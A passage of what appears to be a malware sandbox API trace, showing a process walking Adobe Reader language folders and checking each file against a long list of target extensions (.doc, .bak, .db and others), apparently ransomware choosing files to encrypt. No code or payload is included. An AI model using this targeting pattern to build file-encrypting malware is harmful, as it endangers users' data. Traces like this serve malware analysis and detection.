| out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0274.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.509] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sv-se\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0274.509] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.509] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.509] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.509] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0274.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.509] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0274.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.509] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\tr-tr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0274.510] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.510] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.510] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.510] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0274.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.510] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.510] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0274.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.510] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\uk-ua\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0274.511] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.511] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.511] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.511] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0274.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.511] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0274.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-cn\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0274.512] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.512] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.513] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.513] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0274.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.513] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0274.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.513] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-tw\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0274.514] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.514] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.514] lstrlenW (lpString="ui-strings.js") returned 13 [0274.514] lstrlenW (lpString=".1cd") returned 4 [0274.514] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0274.514] lstrlenW (lpString=".3ds") returned 4 [0274.514] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0274.514] lstrlenW (lpString=".3fr") returned 4 [0274.514] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0274.514] lstrlenW (lpString=".3g2") returned 4 [0274.514] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0274.514] lstrlenW (lpString=".3gp") returned 4 [0274.514] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0274.514] lstrlenW (lpString=".7z") returned 3 [0274.514] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.514] lstrlenW (lpString=".accda") returned 6 [0274.514] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0274.514] lstrlenW (lpString=".accdb") returned 6 [0274.514] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0274.514] lstrlenW (lpString=".accdc") returned 6 [0274.514] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0274.515] lstrlenW (lpString=".accde") returned 6 [0274.515] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0274.515] lstrlenW (lpString=".accdt") returned 6 [0274.515] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0274.515] lstrlenW (lpString=".accdw") returned 6 [0274.515] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0274.515] lstrlenW (lpString=".adb") returned 4 [0274.515] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".adp") returned 4 [0274.515] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".ai") returned 3 [0274.515] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.515] lstrlenW (lpString=".ai3") returned 4 [0274.515] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".ai4") returned 4 [0274.515] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".ai5") returned 4 [0274.515] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".ai6") returned 4 [0274.515] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".ai7") returned 4 [0274.515] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".ai8") returned 4 [0274.515] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".anim") returned 5 [0274.515] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0274.515] lstrlenW (lpString=".arw") returned 4 [0274.515] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".as") returned 3 [0274.515] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.515] lstrlenW (lpString=".asa") returned 4 [0274.515] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".asc") returned 4 [0274.515] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0274.515] lstrlenW (lpString=".ascx") returned 5 [0274.516] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0274.516] lstrlenW (lpString=".asm") returned 4 [0274.516] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".asmx") returned 5 [0274.516] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0274.516] lstrlenW (lpString=".asp") returned 4 [0274.516] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".aspx") returned 5 [0274.516] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0274.516] lstrlenW (lpString=".asr") returned 4 [0274.516] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".asx") returned 4 [0274.516] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".avi") returned 4 [0274.516] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".avs") returned 4 [0274.516] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".backup") returned 7 [0274.516] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0274.516] lstrlenW (lpString=".bak") returned 4 [0274.516] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".bay") returned 4 [0274.516] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".bd") returned 3 [0274.516] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.516] lstrlenW (lpString=".bin") returned 4 [0274.516] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".bmp") returned 4 [0274.516] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".bz2") returned 4 [0274.516] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0274.516] lstrlenW (lpString=".c") returned 2 [0274.516] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.516] lstrlenW (lpString=".cdr") returned 4 [0274.516] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".cer") returned 4 [0274.517] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".cf") returned 3 [0274.517] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.517] lstrlenW (lpString=".cfc") returned 4 [0274.517] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".cfm") returned 4 [0274.517] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".cfml") returned 5 [0274.517] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0274.517] lstrlenW (lpString=".cfu") returned 4 [0274.517] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".chm") returned 4 [0274.517] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".cin") returned 4 [0274.517] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".class") returned 6 [0274.517] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0274.517] lstrlenW (lpString=".clx") returned 4 [0274.517] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".config") returned 7 [0274.517] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0274.517] lstrlenW (lpString=".cpp") returned 4 [0274.517] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".cr2") returned 4 [0274.517] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".crt") returned 4 [0274.517] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".crw") returned 4 [0274.517] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".cs") returned 3 [0274.517] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.517] lstrlenW (lpString=".css") returned 4 [0274.517] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0274.517] lstrlenW (lpString=".csv") returned 4 [0274.517] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".cub") returned 4 [0274.518] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dae") returned 4 [0274.518] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dat") returned 4 [0274.518] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".db") returned 3 [0274.518] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.518] lstrlenW (lpString=".dbf") returned 4 [0274.518] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dbx") returned 4 [0274.518] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dc3") returned 4 [0274.518] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dcm") returned 4 [0274.518] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dcr") returned 4 [0274.518] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".der") returned 4 [0274.518] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dib") returned 4 [0274.518] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dic") returned 4 [0274.518] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".dif") returned 4 [0274.518] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".divx") returned 5 [0274.518] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0274.518] lstrlenW (lpString=".djvu") returned 5 [0274.518] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0274.518] lstrlenW (lpString=".dng") returned 4 [0274.518] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".doc") returned 4 [0274.518] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0274.518] lstrlenW (lpString=".docm") returned 5 [0274.518] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0274.518] lstrlenW (lpString=".docx") returned 5 [0274.519] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0274.519] lstrlenW (lpString=".dot") returned 4 [0274.519] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".dotm") returned 5 [0274.519] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0274.519] lstrlenW (lpString=".dotx") returned 5 [0274.519] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0274.519] lstrlenW (lpString=".dpx") returned 4 [0274.519] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".dqy") returned 4 [0274.519] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".dsn") returned 4 [0274.519] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".dt") returned 3 [0274.519] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.519] lstrlenW (lpString=".dtd") returned 4 [0274.519] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".dwg") returned 4 [0274.519] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0274.519] lstrlenW (lpString=".dwt") returned 4 [0274.519] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0274.519] 